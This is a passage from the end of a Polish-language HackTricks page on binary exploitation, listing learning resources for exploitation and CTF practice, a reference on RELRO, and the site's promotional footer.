**Info functions strncmp —>** Informacje o funkcji w gdb
|
||
|
||
## Interesujące kursy
|
||
|
||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||
* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
|
||
* [https://pwnable.tw/](https://pwnable.tw/)
|
||
* [https://ctf.hackucf.org/](https://ctf.hackucf.org/)
|
||
|
||
## **Referencje**
|
||
|
||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|